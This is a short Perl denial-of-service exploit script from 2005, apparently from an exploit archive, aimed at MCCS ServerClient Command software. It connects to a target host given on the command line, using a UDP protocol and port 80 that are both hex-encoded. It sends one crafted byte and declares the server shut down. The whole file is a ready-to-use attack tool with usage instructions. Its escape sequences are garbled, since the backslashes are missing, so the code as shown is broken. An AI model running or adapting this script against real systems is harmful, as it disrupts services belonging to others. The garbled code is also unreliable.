#!usr/bin/perl
#
# MCCS ServerClient Command DOS Exploit
# --------------------------------------
#  Infam0us Gr0up - Securiti Research
#
# Info: infamous.2hell.com
# Vendor URL: www.xclusive-software.com
#


use IO::Socket;

print("n  MCCS Command DOS Exploitn");
print("-----------------------------n");

$str = "x41";
if($#ARGV < 0 | $#ARGV > 1) {
die "usage: perl $0 [IP/host] nExam: perl $0 127.0.0.1 n" };

$adr = $ARGV[0];
$prt = "x38x30";

print "[+] Connect to host..n";
sleep 2;
$remote = IO::Socket::INET->new(Proto=>"x75x64x70", PeerAddr=>$adr,
PeerPort=>$prt, Reuse=>1) or die "[-] Error: can't connect to $adr:$prtn";
print "[+] Connectedn";
$remote->autoflush(1);
print "[+] Sending bad string..n";
sleep 2;
print $remote "$str" or die "[-] Error: can't send string coden";
print "[*] Client Server SHUTDOWNED!nn";
print "press any key to exit..n";
$bla= <STDIN>;
close $remote;

# www.Syue.com [2005-09-19]